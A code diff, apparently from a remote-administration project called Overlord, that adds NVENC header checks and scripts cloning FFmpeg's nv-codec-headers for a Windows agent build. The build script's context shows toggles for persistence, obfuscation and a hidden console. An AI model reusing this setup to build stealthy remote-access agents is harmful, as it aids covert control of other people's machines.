ensureNVCodecHeaderForWindowsCgo( + clientDir: string, + sendToStream: (data: any) => void, +): void { + const headerPath = nvcodecHeaderPath(clientDir); + if (fs.existsSync(headerPath)) { + sendToStream({ + type: "output", + text: `Native NVENC header: ${headerPath}\n`, + level: "info", + }); + return; + } + throw new Error( + "Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.", + ); +} + function writeSgnTextArtifact( sgnPath: string, txtPath: string, @@ -1032,6 +1054,10 @@ func runBoundFiles() { } } + if (effectiveOs === "windows" && env.CGO_ENABLED === "1") { + ensureNVCodecHeaderForWindowsCgo(clientDir, sendToStream); + } + let ldflags = config.stripDebug !== false ? "-s -w -buildid=" : ""; if (config.serverUrl) { diff --git a/scripts/build-clients.bat b/scripts/build-clients.bat index eee796f..bc24a9f 100644 --- a/scripts/build-clients.bat +++ b/scripts/build-clients.bat @@ -9,6 +9,7 @@ if not defined ENABLE_PERSISTENCE set ENABLE_PERSISTENCE=false if not defined OBFUSCATE set OBFUSCATE=false if not defined HIDE_CONSOLE set HIDE_CONSOLE=false if not defined NO_PRINTING set NO_PRINTING=false +if not defined DISABLE_CGO set DISABLE_CGO=false set "GARBLE_FLAGS=" @@ -83,7 +84,16 @@ pushd "%CLIENT_DIR%" echo == Building agent for windows amd64 == set GOOS=windows set GOARCH=amd64 -set CGO_ENABLED=0 +if /I "%DISABLE_CGO%"=="true" ( + set CGO_ENABLED=0 +) else ( + set CGO_ENABLED=1 + if not exist "%CLIENT_DIR%\third_party\nvcodec\nvEncodeAPI.h" ( + echo Missing NVENC header: "%CLIENT_DIR%\third_party\nvcodec\nvEncodeAPI.h" + echo Run scripts\vendor-nvcodec-headers.bat from the repo root or set DISABLE_CGO=true. + goto :err + ) +) %BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-amd64.exe" ./cmd/agent if errorlevel 1 goto :err diff --git a/scripts/vendor-nvcodec-headers.bat b/scripts/vendor-nvcodec-headers.bat new file mode 100644 index 0000000..b3a8f61 --- /dev/null +++ b/scripts/vendor-nvcodec-headers.bat @@ -0,0 +1,50 @@ +@echo off +setlocal + +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT_DIR=%%~fI" +set "DEST_DIR=%ROOT_DIR%\Overlord-Client\third_party\nvcodec" +set "DEST_HEADER=%DEST_DIR%\nvEncodeAPI.h" +if "%NV_CODEC_HEADERS_REPO%"=="" set "NV_CODEC_HEADERS_REPO=https://github.com/FFmpeg/nv-codec-headers.git" +if "%NV_CODEC_HEADERS_REF%"=="" set "NV_CODEC_HEADERS_REF=master" + +set "FORCE=%FORCE_NV_CODEC_HEADERS%" +if /I "%~1"=="--force" set "FORCE=1" + +if exist "%DEST_HEADER%" if not "%FORCE%"=="1" ( + echo nvEncodeAPI.h already exists: "%DEST_HEADER%" + echo Use --force or set FORCE_NV_CODEC_HEADERS=1 to refresh it. + exit /b 0 +) + +where git >nul 2>&1 +if errorlevel 1 ( + echo git is required to vendor nv-codec-headers + exit /b 1 +) + +set "TMP_DIR=%DEST_DIR%\.nv-codec-headers.tmp" +if exist "%TMP_DIR%" rd /s /q "%TMP_DIR%" +if not exist "%DEST_DIR%" mkdir "%DEST_DIR%" + +echo Cloning %NV_CODEC_HEADERS_REPO% (%NV_CODEC_HEADERS_REF%)... +git clone --depth 1 --branch "%NV_CODEC_HEADERS_REF%" "%NV_CODEC_HEADERS_REPO%" "%TMP_DIR%" +if errorlevel 1 goto :err + +set "SRC_HEADER=%TMP_DIR%\include\ffnvcodec\nvEncodeAPI.h" +if not exist "%SRC_HEADER%" ( + echo Expected header not found: "%SRC_HEADER%" + goto :err +) + +copy /y "%SRC_HEADER%" "%DEST_HEADER%" >nul +if errorlevel 1 goto :err +rd /s /q "%TMP_DIR%" + +echo Vendored "%DEST_HEADER%" +exit /b 0 + +:err +if exist "%TMP_DIR%" rd /s /q "%TMP_DIR%" +echo Failed to vendor nv-codec-headers +exit /b 1 diff --git a/scripts/vendor-nvcodec-headers.sh b/scripts/vendor-nvcodec-headers.sh new file mode 100644 index 0000000..84d586b --- /dev/null +++ b/scripts/vendor-nvcodec-headers.sh @@ -0,0 +1,44 @@ +#!/usr/bin/env bash +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)" +DEST_DIR="${ROOT_DIR}/Overlord-Client/third_party/nvcodec" +DEST_HEADER="${DEST_DIR}/nvEncodeAPI.h" +REPO_URL="${NV_CODEC_HEADERS_REPO:-https://github.com/FFmpeg/nv-codec-headers.git}" +REF="${NV_CODEC_HEADERS_REF:-master}" +FORCE="${FORCE_NV_CODEC_HEADERS:-0}" + +if [[ "${1:-}" == "--force" ]]; then + FORCE=1 +fi + +if [[ -s "${DEST_HEADER}" && "${FORCE}" != "1" ]]; then + echo "nvEncodeAPI.h already exists: ${DEST_HEADER}" + echo "Use --force or FORCE_NV_CODEC_HEADERS=1 to refresh it." + exit 0 +fi + +command -v git >/dev/null 2>&1 || { + echo "git is required to vendor nv-codec-headers" >&2 + exit 1 +} + +TMP_DIR="${DEST_DIR}/.nv-codec-headers.tmp" +rm -rf "${TMP_DIR}" +mkdir -p "${DEST_DIR}" + +echo "Cloning ${REPO_URL} (${REF})..." +git clone --depth 1 --branch "${REF}" "${REPO_URL}" "${TMP_DIR}" + +SRC_HEADER="${TMP_DIR}/include/ffnvcodec/nvEncodeAPI.h" +if [[ ! -s "${SRC_HEADER}" ]]; then + echo "Expected header not found: ${SRC_HEADER}" >&2 + rm -rf "${TMP_DIR}" + exit 1 +fi + +cp "${SRC_HEADER}" "${DEST_HEADER}" +rm -rf "${TMP_DIR}" + +echo "Vendored ${DEST_HEADER}"